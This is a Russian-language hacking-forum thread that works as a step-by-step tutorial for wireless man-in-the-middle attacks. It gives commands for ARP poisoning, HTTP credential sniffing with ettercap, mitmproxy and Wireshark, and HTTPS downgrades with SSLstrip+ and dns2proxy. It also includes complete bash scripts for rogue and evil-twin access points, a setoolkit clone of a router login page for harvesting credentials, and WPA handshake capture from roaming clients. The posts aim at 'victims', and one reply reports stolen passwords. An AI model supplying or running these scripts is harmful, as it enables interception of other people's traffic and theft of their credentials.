Fake_AP (Ewil Twin и все все все)

Discussion in 'Беспроводные технологии/Wi-Fi/Wardriving' started by Kevin Shindel, 20 Sep 2016.

  1. Kevin Shindel

    Kevin Shindel Elder - Старейшина

    Joined:
    24 May 2015
    Messages:
    983
    Likes Received:
    1,162
    Reputations:
    61
    Привет ребзя! В этом топике будем изучать такие типы атак как Фейк Ацесс Поинт, Эвил Твин и МиТМ атаки через беспроводные сети...

    Тема довольно объёмная и требует хороших навыков ориентирования в сети и продвинутых скилов в беспроводных сетях. (новички проходят мимо)
    Так как несколько тем уже на форуме существовало но информация была не полная либо не объяснялся алгоритм действий и смысл каждой команды.Так как без МиТМ атаки нет смысла делать фейковую точку придётся учить весь материал ))

    Писать буду по мере возрастания сложности атак.

    1.Определение хостов
    2. IP-форвардинг, отравление ARP таблиц и перенаправление портов
    3. Тихий МиТМ. (HTTP only)
    4. Агрессивный МитМ. (HTTP и HTTPS)
    5. DNS MiTM.
    6. Fake_AP.
    7. Ewil Twin.
    8. Routerless WPA attack. (bonus)

    Пока еще не все виды атак я сам понял но я думаю, что это временно.
    Просто следите за темой.

    Вступление

    Для начала мы научимся ориентироваться в сети.
    Для продолжения вы должны уметь пользоваться nmap'om, netstat, netdiscovery, ifconfig.

    Допустим мы получили WEP/WPA/WPA2 ключ от сети и смогли в неё зайти.
    Что дальше? Мы должны определится где роутер, где мы , где жертвы (хосты).
    Для этого воспользуемся коммандой ifconfig

    [email protected]: ifconfig wlan0
    - но так как информации более чем нам нужно мы её порежем...
    [email protected]: ifconfig wlan0 | grep 192 - она нам покажет какой айпи мы получили (многие сети начинаются с префикса 192... если у вас он отличается поправьте)

    Окей наш айпи мы узнали 192.168.1.5 ... где роутер? Для определения шлюза можно использовать команду route, netstat или сделав запрос на arp-таблицу arp.

    [email protected]: route -n
    [email protected]: netstat -rn
    [email protected]: arp

    Для определения хостов существует уйма программ, я расскажу о тех которыми пользуюсь сам.Самый быстрый способ это получить список через netdiscover'y
    Но информация будет не полная, только АйПи адреса и кол-во хостов.

    [email protected]: netdiscover -r 192.168.1.1/24 > netdiscover_chk.txt

    Также можно использовать fping эта команда позволяет указать кол-во запросов к хосту, если связь не очень качественная либо по другим причинам что даст повышенные шансы получить более полный список хостов.

    [email protected]: fping -Asg 192.168.1.1/24 > fping_check.txt

    Для настоящих куллхацкеров или олдфагов конечно же я посоветую старый и добрый nmap
    Как по моему мнению это самый крутой сканер... но он требует некоторых навыков обращения с ним...
    Я покажу несколько команд с помощью которых мы можем узнать нужную нам информацию.
    Первая это быстрый чек хостов

    [email protected]: nmap -F 192.168.1.1/24 -oN fast_nmap.txt

    Нмап быстро чекнет все хосты и сохранит в файле fast_nmap.txt
    Если мы захотим узнать более подробную информацию о хостах можно попробовать снять отпечаток OS

    [email protected]: nmap -O 192.168.1.1/24 -oN OS_nmap.txt

    Данная команда занимает больше времени чем остальные, чекнуть на каком этапе находится сканирование можно нажав клавишу "Enter"

    скрины и полные команды допишу вечером...

    Допустим мы определились с хостами , что делать дальше?
    Далее нужно настроить свою систему для запуска снифера.
    Читаем вторую часть...
    IP-Forwarding

    Я решил объединить в одном топике две части так как они не самые объемные.
    Так как с хостами мы определились, теперь нам нужно подготовить свой ноут/ПК/калькулятор под атаку "человек-по-середине".
    Для этого нужно сделать несколько базовых команд без которых дальше никуда...
    Для начала включим айпи-форвардиг.
    Эта команда нужно для того что бы наша машина могла передавать информацию между шлюзом и жертвой.

    [email protected]: echo "1" >/proc/sys/net/ipv4/ip_forward

    После ребута нашего хоста настройки сбрасываются.
    Далее нам нужно пробросить порты для того что бы снифер мог их слушать.

    [email protected]: iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
    [email protected]: iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080


    Порт 8080 указан для примера, далее я напишу дефолтные порты для каждого из сниферов.
    Если вы не знаете какой порт использует снифер, нужно его сначала запустить а потом воспользоваться командой:

    [email protected]: netstat -anp --udp --tcp | grep LISTEN

    Видим по ID "1186" что порт слушается программой.
    Имя программы можно найти через команду top.
    После этого мы можем отравить arp-таблицу, для этого используется команда arpspoof.
    использовать арп-спуфинг вот так ... arpspoof -i wlan0 -t (target_ip) (gateway_ip)

    [email protected]: arpspoof -i wlan0 -t 192.168.1.10 192.168.1.1

    Сразу после того как вы запустите арп-спуфинг весь трафик будет проходить через ваш ПК, внимательно проверьте, всё ли вы настроили как необходимо...
    Запуск снифера можно осуществлять сразу после отравления арп-таблицы.
    Для прослушки более одного хоста нужно запустить еще один терминал с arpspoof'ингом.
    Никаких других действий не нужно.

    Данная команда постоянно отправляет запросы на жертву подменяя в арп-таблице мак-адрес роутера на наш, тем самым позволяя думать что наша машина является шлюзом.
     
    #1 Kevin Shindel, 20 Sep 2016
    Last edited: 6 Nov 2016
  2. Kevin Shindel

    Kevin Shindel Elder - Старейшина

    Joined:
    24 May 2015
    Messages:
    983
    Likes Received:
    1,162
    Reputations:
    61
    Часть 3. Тихий МиТМ . (HTTP only)

    Я назвал эту часть тихий МиТМ так как она не палит наш хост перед жертвой. Далее вы поймете о чем я говорю.
    Жертва не будет подозревать что её трафик прослушивается так как не происходит даунгрейда HTTPS до HTTP, соотв. не нужна подмена сертификатов. Данная атака самая простая и справится с ней не составит особого труда, данная атака скорее для ознакомления с базовыми понятиями чем для полноценного перехвата трафика.

    До сих пор еще не все сайты перешли на HTTPS и находятся в незащищенном протоколе HTTP что позволяет без особого труда перехватить информацию через снифер.

    Перехват через EtterCap
    1. IP-forwarding
    [email protected]: echo "1" >/proc/sys/net/ipv4/ip_forward

    2. Port-forwarding
    [email protected]: iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

    3. EtterCap (ARP-Poisoning inclusive)

    Для запуска EtterCap в графическом режиме нужно ввести команду:

    [email protected]: ettercap -G

    [​IMG]

    1) Ждём пока он загружается. После загрузки, ищем вкладку Sniff и выбираем Unified Sniffing

    [​IMG]

    2) Выбираем интерфейс wlan0/wlan1/eth0 через который мы хотим получить трафик.
    3) Далее клацаем во вкладку Hosts и выбираем Scan for hosts.

    [​IMG]

    4) После того как сканирование прошло , опять выбираем
    Hosts и выбираем Hosts list.

    [​IMG]

    5) Из списка выбираем сначала роутер и клацаем Add to Target 1
    6) И выбираем жертву и клацаем Add to Target 2
    7) Окей , теперь нужно сделать отравление АРП-таблицы, что бы трафик потёк в нам.
    Клацаем вкладку Mitm и выбираем Arp poisoning…

    [​IMG]

    8) Далее в выпадающем меню чекаем Sniff remote connections и нажимаем OK.

    [​IMG]

    9) Далее переходим во вкладку Start и нажимаем Start sniffing...
    10)Как только мы закончили атаку нужно прекратить отравление таблицы
    Клацаем MITM и выбираем Stop mitm attack(s)

    Запуск в текстовом режиме проходит намного быстрее и проще чем в графическом, но нужно немного навыков и внимания.
    Для запуска EtterCap в текстовом режиме нужно ввести комманду

    ro[email protected]: ettercap -T -Q -i wlan0 -M arp /192.168.1.1// /192.168.1.104//

    -T: запуск в текстовом режиме
    -Q: запуск в тихом режиме
    -M arp: Запускs MITM атаки через отравление ARP-таблицы
    // //: Определение хостов для атаки, сначала ай-пи роутера а потом жертвы.

    в слешах заносятся данные о хосте в таком виде MAC/IP/PORT для примера 08:00:27:09:FF:49/192.168.1.1/80. Опускаем маки и порты и оставляем только ай-пи /192.168.1.1/

    С EtterCap'ом закончили...
    Перехват через MiTMProxy
    Разрабатывался как альтернатива EtterCap'у, схожие функции, работать умеет только в текстовом режиме.

    1. IP-forwarding
    [email protected]: echo "1" >/proc/sys/net/ipv4/ip_forward

    2. Port-forwarding
    [email protected]: iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

    3. ARP-Poisoning inclusive
    [email protected]: arpspoof -i wlan0 -t 192.168.2.51 192.168.2.1

    4. Запуск MiTMProxy

    [email protected]: mitmproxy -T --host
    Запускаем МиТМПрокси и ждём пока не появится трафик

    [​IMG]

    Как только трафик потёк ищем POST запросы.

    [​IMG]

    Переходим по вкладке на POST запросе в форму и смотрим заветную пару логин-пароль.

    [​IMG]
    Перехват через WireShark
    Порядок действий:
    1. IP_forward
    2. Проброс портов
    3. ARP-отравление
    4. Запуск Wreshark

    Запускаем акулу (символ & нужен для запуска в фоновом режиме)

    [email protected]: wireshark &

    Далее указываем откуда будем брать трафик.
    Capture > Options -> wlan0 ->Start

    [​IMG]

    Так как наш трафик вещается в HTTP то в принципе ничего сложного нет, режем наш трафф фильтрами и ищем необходимую информацию.

    [​IMG]

    Тут всё очень просто, нужно использовать фильтр для POST-форм или GET-форм в зависимости от поставленной задачи.

    [​IMG]

    http.request.method == "POST"
    http.request.method == "GET"


    можно даже оба фильтра
    http.request.method == "POST" || http.request.method == "GET"


    В качестве бонуса также можно в отдельном терминале прикрутить следующие фишки...
    URLsnarf -просто показывает на какие ссылки юзверь заходит.
    net-creds - программа нацепленная на перехват паролей в трафике. С net-creds у меня были вопросы по его работе, тем более что в ЕттерКапе уже встроен перехват паролей.
    driftnet - программа для отображения всех картинощек которые отображаются в браузере жертвы. У программы есть полезная опция сохранять картинки в указанной папке (по-умолчанию в отдельном окне картинки просто будут показываться в порядке очереди)

    Из перечисленных программ, мне больше всего понравилась акула.
    Это моё ИМХО.
    Будем считать что HTTP трафик мы "раскатали".

    "Кстати говоря с помощью данной атаки можно легко перехватить пары от морды роутера.
    Большая часть морд роутеров висит на HTTP. Надо только лишь заставить хозяина роутера залезть на морду, как это сделать думаю вы додумаетесь."
     
    #2 Kevin Shindel, 20 Sep 2016
    Last edited: 6 Nov 2016
    to.Index, DZZ, moz9 and 7 others like this.
  3. Kevin Shindel

    Kevin Shindel Elder - Старейшина

    Joined:
    24 May 2015
    Messages:
    983
    Likes Received:
    1,162
    Reputations:
    61
    Часть 4. Агрессивный МиТМ. (HTTP и HTTPS)
    Данная атака является продолжением предыдущей только с некоторыми улучшениями.
    Сюда еще добавляется SSLStrip+ и dns2proxy.
    Осуществляется подмена сертификата и обход HSTS, что позволяется полностью даунгрейдить HTTPS до HTTP со всеми вытекающими из этого последствиями...

    Работа с EtterCap (EtterCap + SSLStrip + dns2proxy)
    1. IP-forwarding
    [email protected]: echo "1" >/proc/sys/net/ipv4/ip_forward

    2. Port-Forwarding

    [email protected]: iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
    [email protected]: iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080
    [email protected]: iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53


    3. EtterCap (ARP-poison inclusive)

    4. SSLstrip

    [email protected]: /sslstrip/sslstrip.py -l 8080

    5. dns2proxy

    [email protected]: /dns2proxy/dns2proxy.py
    Работа с WireShark (WireShark+ SSLStrip + dns2proxy)
    1. IP-forwarding
    [email protected]: echo "1" >/proc/sys/net/ipv4/ip_forward

    2. Port-Forwarding
    [email protected]: iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
    [email protected]: iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080
    [email protected]: iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53

    3. ARP-Poison

    4. SSLstrip
    [email protected]: /sslstrip/sslstrip.py -l 8080

    5. dns2proxy
    [email protected]mous: /dns2proxy/dns2proxy.py

    6. WireShark
     
    #3 Kevin Shindel, 20 Sep 2016
    Last edited: 6 Nov 2016
    to.Index, moz9, TOX1C and 5 others like this.
  4. Kevin Shindel

    Kevin Shindel Elder - Старейшина

    Joined:
    24 May 2015
    Messages:
    983
    Likes Received:
    1,162
    Reputations:
    61
    Часть 5. DNS МиТМ.
    Данная атака является самой сложной...
    Цель атаки - прописывание в роутере жертвы вредного DNS-сервера, с последующей подменой сертификата перехвата трафика и прочими прелестями...

    Негативной стороной этой атаки будет очень большой пинг.... так как плечо от клиента к инету будет очень не хилое...
    КЛИЕНТ -> РОУТЕР -> FAKE-DNS -> НАШ РОУТЕР -> НАША МАШИНА -> НАШ РОУТЕР -> Internet
     
    #4 Kevin Shindel, 20 Sep 2016
    Last edited: 29 Sep 2016
    to.Index, TOX1C, Turanchocks_ and 2 others like this.
  5. Kevin Shindel

    Kevin Shindel Elder - Старейшина

    Joined:
    24 May 2015
    Messages:
    983
    Likes Received:
    1,162
    Reputations:
    61
    6. Rogue AP. (фейковая точка доступа)
    Данная атака рассчитана на поднятие открытой точки доступа в общественном месте.

    "Данная часть статьи писалась очень долго, по причине многих факторов (около месяца). Было пересмотрен не один способ поднятия точек доступа, но не один не подходил. Программными реализациями аля Wifisher и прочими я принципиально не хотел заворачиваться так как переписывать часть скриптов это головняк, проще с нуля написать свой."

    Fake-AP v1.0
    Code:
    #!/bin/bash
    
    #Устанавливаем DHCP - сервер (он нужен что бы раздать клиентам IP-адресс)
    #apt-get update
    #apt-get install isc-dhcp-server-y
    
    #Настраиваем файл конфигурации DHCP-сервера, один раз!
    #echo "authoritative;" > /etc/dhcp/dhcpd.conf
    #echo "default-lease-time 600;" >> /etc/dhcp/dhcpd.conf
    #echo "max-lease-time 7200;" >> /etc/dhcp/dhcpd.conf
    #echo "subnet 192.168.2.0 netmask 255.255.255.0 {" >> /etc/dhcp/dhcpd.conf
    #echo "option subnet-mask 255.255.255.0;" >> /etc/dhcp/dhcpd.conf
    #echo "option broadcast-address 192.168.2.255;" >> /etc/dhcp/dhcpd.conf
    #echo "option routers 192.168.2.1;" >> /etc/dhcp/dhcpd.conf
    #echo "option domain-name-servers 8.8.8.8;" >> /etc/dhcp/dhcpd.conf
    #echo "range 192.168.2.10 192.168.2.50;" >> /etc/dhcp/dhcpd.conf
    #echo "}" >> /etc/dhcp/dhcpd.conf
    
    #Убираем конфликт arimon-ng и Network-manager, один раз!
    #Перед включением монитора на нашей карте нужно исправить конфликт.
    #После внесения корректировки не нужно каждый раз убивать процессы которые мешаю нам перевести в режим монитора карту,
    #т.е. не нужно каждый раз вбивать airmon-ng check kill или прибивать Network-manager.
    
    #Настраиваем один раз!
    #echo "[keyfile]" >> /etc/NetworkManager/NetworkManager.conf
    #echo "unmanaged-devices=interface-name:wlan0mon;interface-name:wlan1mon;" >> /etc/NetworkManager/NetworkManager.conf
    
    
    #Меняем маки, каждый раз!
    ifconfig wlan0 down
    ifconfig wlan1 down
    ifconfig eth0 down
    macchanger -r wlan0
    macchanger -r wlan1
    macchanger -r eth0
    ifconfig wlan0 up
    ifconfig wlan1 up
    ifconfig eth0 up
    
    #Запускаем точку доступа, каждый раз!
    airmon-ng start wlan0
    airbase-ng --essid "DIR-300NRU" -c 6 -v wlan0mon
    airodump-ng -i wlan0mon -c 6 --essid "DIR-300NRU"
    
    #Настройка виртуального интерфейса at0, каждый раз!
    ifconfig at0 up
    ifconfig at0 192.168.2.1 netmask 255.255.255.0
    
    #Добавляем маршрутизацию, каждый раз!
    route add -net 192.168.2.0 netmask 255.255.255.0 gw 192.168.2.1
    
    #Настраиваем iptables, каждый раз!
    iptables --flush
    iptables --table nat --flush
    iptables --delete-chain
    iptables --table nat --delete-chain
    iptables -P FORWARD ACCEPT
    
    #Делаем порт-форвардинг с 80 на 10000 порт для снифера, каждый раз!
    iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
    
    #Настраиваем интерфейс который смотрит в интернет(по-умолчанию это wlan1, но можно поменять на какой угодно):
    iptables -t nat -A POSTROUTING -o wlan1 -j MASQUERADE
    #для подключение по кабелю:
    #iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
    #для подключение через USB-3G:
    #iptables -t nat -A POSTROUTING -o ppp0 -j MASQUERADE
    
    #Очищаем DHCP-leases, каждый раз!
    echo > '/var/lib/dhcp/dhcpd.leases'
    
    #Запускаем DHCP-сервер, каждый раз!
    dhcpd -d -f -cf /etc/dhcp/dhcpd.conf at0
    
    #Включаем IP-форвардинг, каждый раз!
    echo "1" > /proc/sys/net/ipv4/ip_forward
    
    

    Что в итоге получилось? Мы подняли фейковую точку доступа. На интерфейсе wlan0 у нас крутится дочка доступа и DHCP сервер, интернет мы берём с интерфейса wlan1.Весь трафик мы контролируем и смотрим.

    Не смотря на кажущуюся громоздкость общего числа команд, на самом деле все до примитивного просто. Весь процесс с автоматизацией занимает не более одной минуты. (при условии что есть начальный навык работы с баш-скриптами)

    Отдельное спасибо камраду user100 за его статью в 2012 году. 50% этого мануала написано оттуда, без него не смог бы реализовать данный тип атаки. Кое где конечно пришлось самостоятельно искать выход, но в целом существующей информации в открытых источниках хватило на 90%.
    Больше всего меня раздражал DHCP-сервер т.к. запустить без костылей смог только с 5-6 раза...

    Удобство такой атаки еще в том что ноутбук фактически превращается в мобильную точку доступа т.е. можно в любом месте ломануть роутер направить на него один адаптер а на втором поднять точку доступа и спокойно сидеть в нете с гаджетов. Для фильтрации нежелательных друзей просто указать мак-адресс своих устройств.

    Нашел более простую реализацию фейковой точки доступа...

    Fake-AP v2.0
    Code:
    #!/bin/bash
    
    #Подключаемся к интернету через интерфейс eth0,wlan1,ppp0
    #Устанавливаем доп.софт, один раз!
    #apt-get install dnsmasq -y
    
    #Настраиваем DHCP-сервер,один раз!
    #echo -e "interface=at0\ndhcp-range=192.168.2.10,192.168.2.100,2h" > /etc/dnsmasq.conf
    
    #Поднимаем точку доступа.
    airmon-ng start wlan0
    
    #Нужно запустить в отдельном окне!
    airbase-ng -e "DIR-300NRU" -c 6 wlan0
    
    #Настраиваем фаервол, каждый раз!
    ifconfig at0 192.168.2.1 up
    iptables --flush
    iptables --table nat --flush
    iptables --delete-chain
    iptables --table nat --delete-chain
    iptables  -P FORWARD ACCEPTED
    iptables -t nat -A POSTROUTING -o wlan1 -j MASQUERADE
    
    #Запускаем маскарад, каждый раз!
    dnsmasq
    
    #Делаем айпи-форвардинг, каждый раз!
    echo "1" > /proc/sys/net/ipv4/ip_forward
    
     
    #5 Kevin Shindel, 20 Sep 2016
    Last edited: 24 Jan 2017
    to.Index, amod-cccp, moz9 and 5 others like this.
  6. Kevin Shindel

    Kevin Shindel Elder - Старейшина

    Joined:
    24 May 2015
    Messages:
    983
    Likes Received:
    1,162
    Reputations:
    61
    7. Ewil Twin. (атака "злой двойник")
    Смысл этой атаки очень прост - создаём клон оригинальной сети и подключаем туда жертву.

    Для реализации этой атаки необходимо два адаптера Wi-Fi.
    Через один адаптер поднимаем фейк, со второго дудосим точку донора.

    Для начала снифаем эфир в поиске необходимой точки.

    [email protected]: airodump-ng -i wlan0

    как только необходимая точка найдена начинаем создавать двойника.
    Сам двойник состоит из Acess point +DHCP+ Apache + ... (буду добавлять )

    Так как для подключения клиента нам необходимо только точное имя беспроводной сети то смена мака не требуется.

    Итак готовим наш фейк. (так как во время наших манипуляций мы будем использовать два беспроводных адаптера то наш клиент останется без инета хотя вариант с инетом полностью не отпадает об этом позже)

    Так как пароль от сети донора мы не знаем мы можем поднять только сеть без пароля но с тем же именем!

    [email protected]: airbase-ng -e "TP-LINK_0B130A" -c 6 wlan0

    так как просто поднять точку недостаточно, необходимо выдать клиенту айпи и удержать его следует запустить ДХЦП сервак.
    Code:
    #!/bin/bash
    
    #Подключаемся к интернету через интерфейс eth0,wlan1,ppp0
    #Устанавливаем доп.софт, один раз!
    #apt-get install dnsmasq -y
    
    #Настраиваем DHCP-сервер,один раз!
    #echo -e "interface=at0\ndhcp-range=192.168.2.10,192.168.2.100,2h" > /etc/dnsmasq.conf
    
    #Поднимаем точку доступа.
    airmon-ng start wlan0
    
    #Нужно запустить в отдельном окне!
    airbase-ng -e "DIR-300NRU" -c 6 wlan0
    
    #Настраиваем фаервол, каждый раз!
    ifconfig at0 192.168.2.1 up
    iptables --flush
    iptables --table nat --flush
    iptables --delete-chain
    iptables --table nat --delete-chain
    iptables -P FORWARD ACCEPTED
    iptables -t nat -A POSTROUTING -o wlan1 -j MASQUERADE
    
    #Запускаем маскарад, каждый раз!
    dnsmasq
    
    #Делаем айпи-форвардинг, каждый раз!
    echo "1" > /proc/sys/net/ipv4/ip_forward
    

    после того как мы создали физическую точку, необходимо сделать морду роутера. Для этого мы используем SETOOLKIT + руки-из-плеч + немношко ХТМЛ

    сетулкит нам необходим что бы скопировать вебморду роутера и не создавать её с нуля.
    Для копирования морды необязательно наличие ломаного роутера аналога, можно использовать сайты симуляторы - например у ТП-Линка есть такие -
    http://www.tp-linkru.com/emulators.html

    Выбираем нужную нам модель, скармливаем сетулкиту и корректируем морду на свой вкус.

    [email protected]: setoolkit
    [email protected]: 1 (Social-Engineering Attack)

    [email protected]: 2 (Website Attack Vectors)
    [email protected]: 3 (Credential Harvester Attack Method)
    [email protected]: 2 (Site Cloner)
    [email protected]: 192.168.1.10 (указываем свой локальный айпишник)
    [email protected]: http://www.tp-linkru.com/resources/simulator/741nd4.20_ru/index.htm


    После этого наша фейковая страничка будет хранится в папке /root/.set/web_clone/index.html
    Который нужно подет подмарафетить для наших дел..
    Копируем файл..

    [email protected]: cp ~/.set/web_clone/index.html /var/www/index.html

    Теперь после запуска апача по адресу 127.0.0.1 будет отображатся морда роутера.
    Осталось только отредактировать её и сделать редирект на эту страницу.

    Далее следует...
     
    #6 Kevin Shindel, 20 Sep 2016
    Last edited: 7 Jun 2017
    to.Index, moz9, Turanchocks_ and 3 others like this.
  7. Kevin Shindel

    Kevin Shindel Elder - Старейшина

    Joined:
    24 May 2015
    Messages:
    983
    Likes Received:
    1,162
    Reputations:
    61
    Часть 8. Routerless WPA attack. (атака "перехват ключа WPA без роутера")
    Эта атака не имеет отношения к перехвату трафика , она нацелена на перехват ключа WPA от клиентов у которых включён модуль Wi-Fi и они болтаются в эфире (не ассоциированых с точкой доступа).
    Смысл в следующем:
    Так как у клиента висит ключ в списке PNL (prefered network list) т.к. называемый "Cписок Предпочтительных Сетей" мы можем его извлечь если поднимем фейковую точку доступа с оригинальным ESSID.
    Устройство получает ответ в эфире что сеть из списка есть в онлайне и автоматически к ней коннектится, так как у нас нет целого ключа то клиент нам отдаст 1 и 2 пары ключей, да это будет не полный HandShake но его хватит для брутфорса.

    Для произведения этой атаки нам нужна версия aircrack-ng 1.2 rc 4 (Kali Linux 2016.2)
    т.к. там убрали косяк в airbase-ng с дополнительной фейковой точкой "default"

    Порядок действий
    1.Airodump-ng
    2.Airbase-ng
    3.Airodump-ng

    Для начала мы просто запустим airodump-ng для того что бы сканировать эфир на наличие клиентов с ключами...

    [email protected]: airodump-ng -i wlan0

    После того как мы нашли клиентов у которых увидели сети из списка NPL мы скопируем оригинальное имя сети "ESSID" и поднимем точку с таким же именем...
    Но есть один момент, мы не знаем какой тип защиты был в этой сети, что же делать?
    Мы применим приём который называется "WiFi Fishing", этот метод был описан в книге "Penetration Wireless Networks with Kali Linux" но так как книга вышла давно немного поменилсь методы перевода адаптера в режим монитора, что немного усложняет нам работу.
    Если вы застали тот момент когда можно было создать несколько виртуальных интерфейсов для одного адаптера mon0, mon1, mon2 вы меня поймете. В книге поднимали 5 виртуальных интерфейсов и одновременно в сети появлялось 5 фейковых точек доступа т.е. клиент подключался автоматически к "правильной" точке и передавал часть ключа.

    И так пытаемся представить какой тип шифрования был возможен...
    WEP, WPA-TKIP, WPA-CCMP, WPA2-TKIP, WPA2-CCMP итого 5 типов = 5 фейковых точек.
    Допустим наш клиент врятли сидел на WEP точке (процент WEP сетей очень мал..)

    [​IMG]
    Unencrypted - 6.91 % (Открытые сети, кафе, аэропорты и прочие)
    Unknown - 19.59 % (Сети с не опознаным типом шифрования, думаю сюда вошли RADIUS сети)
    Encrypted (WEP+WPA+WPA2) 73.64 %
    WEP - 10.22 %
    WPA - 8.14 %
    WPA2 - 55.28 %
    тогда можно сократить кол-во точек до 4х (я не указал сеть "Open" потому что она идёт без ключа).
    С типами шифрования определились теперь поднимаем точку.

    [email protected]: airbase-ng -e "Home" -c 1 -z 2 -W 0 wlan0
    Создаём точку с именем "Home", типом шифрования WPA-TKIP, на первом канале.
    [email protected]: airbase-ng -e "Home" -c 1 -z 4 -W 0 wlan0
    Создаём точку с именем "Home", типом шифрования WPA-CCMP, на первом канале.

    [email protected]: airbase-ng -e "Home" -c 1 -Z 2 -W 0 wlan0
    Создаём точку с именем "Home", типом шифрования WPA2-TKIP, на первом канале.
    [email protected]: airbase-ng -e "Home" -c 1 -Z 4 -W 0 wlan0
    Создаём точку с именем "Home", типом шифрования WPA2-CCMP, на первом канале.

    Можно также создать фильтр для МАК-адресса нужного нам клиента, что бы к нам не лезли клиенты без нужного ключа....
    Просто добавляем флаг --client <MAC> к концу нашей команды и все... остальные клиенты не смогут подключится...

    [email protected]: airbase-ng -e "Home" -c 1 -z 2 -W 0 wlan0 --client 00:11:22:33:44:55
    Поставить фильтр на подкючение только клиента с маком "00:11:22:33:44:55"

    [email protected]: airbase-ng -e "Home" -c 1 -z 2 -W 0 wlan0
    Записать эфир с первого канала, сети с именем "Home"
    Вот и всё, останется дождаться пока клиент сам не подключится к точке.
    В это время airodump-ng зафиксирует передачу ключа.
     
    #7 Kevin Shindel, 20 Sep 2016
    Last edited: 22 Sep 2016
    to.Index, moz9, TOX1C and 8 others like this.
  8. amod-cccp

    amod-cccp Member

    Joined:
    15 Jan 2014
    Messages:
    41
    Likes Received:
    14
    Reputations:
    0
    Даешь атаку №8 в массы!
     
  9. djamv

    djamv Member

    Joined:
    16 Oct 2012
    Messages:
    129
    Likes Received:
    45
    Reputations:
    0
    Скажите, возможен ли такой вариант?:
    На своем роутере с белым IP поднимаем DNS сервер и web сервер.
    В DNS прописать правило которое, например, заворачивает определенный домен на локальный web сервер.
    На web сервере положить фейк нужного сайта
    Прописать в роутере жертвы наш DNS.
     
  10. Triton_Mgn

    Triton_Mgn Elder - Старейшина

    Joined:
    6 Jul 2015
    Messages:
    3,561
    Likes Received:
    5,405
    Reputations:
    50
    Это давно оговорено, даже картинка была как все происходит, вы должны понимать, что пинг будет дикий
     
  11. djamv

    djamv Member

    Joined:
    16 Oct 2012
    Messages:
    129
    Likes Received:
    45
    Reputations:
    0
    А если это сделать прямо на роутере жертвы?
    т.е поднять web сервер и завернуть определенный сайт на фейк
     
  12. Triton_Mgn

    Triton_Mgn Elder - Старейшина

    Joined:
    6 Jul 2015
    Messages:
    3,561
    Likes Received:
    5,405
    Reputations:
    50
    А VPN вам на что?
     
  13. djamv

    djamv Member

    Joined:
    16 Oct 2012
    Messages:
    129
    Likes Received:
    45
    Reputations:
    0
    Завенуть весь трафик с роутера жертвы через VPN к себе ?
     
  14. Triton_Mgn

    Triton_Mgn Elder - Старейшина

    Joined:
    6 Jul 2015
    Messages:
    3,561
    Likes Received:
    5,405
    Reputations:
    50
    Иначе как ты проведешь MiTM атаку....



    КЛИЕНТ -> РОУТЕР -> Fake-DNS -> НашРоутер -> Наша Машина -> Наш Роутер -> Интернет
     
  15. Triton_Mgn

    Triton_Mgn Elder - Старейшина

    Joined:
    6 Jul 2015
    Messages:
    3,561
    Likes Received:
    5,405
    Reputations:
    50
    чтобы было неного легче ---- MiTm атака подразумевает в себе --- идет провод далее ты вклинился .....
     
  16. moz9

    moz9 New Member

    Joined:
    29 Apr 2016
    Messages:
    29
    Likes Received:
    4
    Reputations:
    0
    Пробую провести атаку такого типа в своей wifi-сети на двух ноутах, один из которых жертва. Схема атаки такая: IP-forwarding + Port-Forwarding (редирект 80 и 443 портов на 8080) + arpspoof + SSLstrip+ + dns2proxy. Пароли смотрел через net-creds. Ещё пробовал поиграться с Cookie-Cadger (но не углублялся пока, поэтому ничего еще и не понял там). В системе два адаптера wlan0 (Atheros бучный) и wlan1 (usb адаптер на чипе Ralink 3070).
    С vk.com и ya.ru получилось. Не получилось с google.ru, mail.ru, icloud.com. Больше пока не пробовал. Так вот, в случае, например, с vk.com - прям видно как даунгрейдидтся https>http (загрузка дольше обычного, плюс картинки вообще могут не догружаться), но всё же авторизация проходит через http, и пароли в кармане, а в случае с google, mail и icloud - сайты не загружаются вообще с ошибками, связанными с dns. Пробовал без dns2proxy - сайты грузятся, авторизация проходит, но через https и net-creds, соответственно, ничего хорошего не показывает =)
    В связи с этим у меня вопрос об актуальности атаки такого типа. Или с помощью чего можно успешно совершать такую атаку? Или можно уже даже не бояться таких атак?

    Хотел еще попробовать Ettercap вместо arpspoof, но так и не допёр как его запустить в тестовом режиме, а именно что писать с обоих сторон до и после IP адресов? Например, мак(роутера)/192.168.0.1/порт(80 или какой?) мак(жертвы)/192.168.0.5/порт(тоже 80 или какой?)
     
    #16 moz9, 26 Sep 2016
    Last edited: 26 Sep 2016
  17. Kevin Shindel

    Kevin Shindel Elder - Старейшина

    Joined:
    24 May 2015
    Messages:
    983
    Likes Received:
    1,162
    Reputations:
    61
    Изучаю этот вопрос, к сожалению ничем кроме личных наблюдений пока не могу помочь...

    ettercap -T -Q -i wlan0 -M arp /192.168.0.5/ /192.168.0.1/
    сначала хост а потом роутер...
     
    moz9 likes this.
  18. moz9

    moz9 New Member

    Joined:
    29 Apr 2016
    Messages:
    29
    Likes Received:
    4
    Reputations:
    0
    И в графическом режиме Target 1 - это жертва, а Target 2 - это роутер? Я просто в разных материалах по-разному видел

    Подскажите, такие ошибки это нормально вообще или нет? Просто видел пишут, что это нормально. Думается мне, что это как раз ошибки, в коих случаях не удаётся даунгрйд до http, верно?

    Code:
    sslstrip 0.9 + by Moxie Marlinspike running...
    + POC by Leonardo Nve
    Unhandled Error
    Traceback (most recent call last):
    File "./sslstrip.py", line 107, in main
    reactor.run()
    File "/usr/lib/python2.7/dist-packages/twisted/internet/base.py", line 1194, in run
    self.mainLoop()
    File "/usr/lib/python2.7/dist-packages/twisted/internet/base.py", line 1206, in mainLoop
    self.doIteration(t)
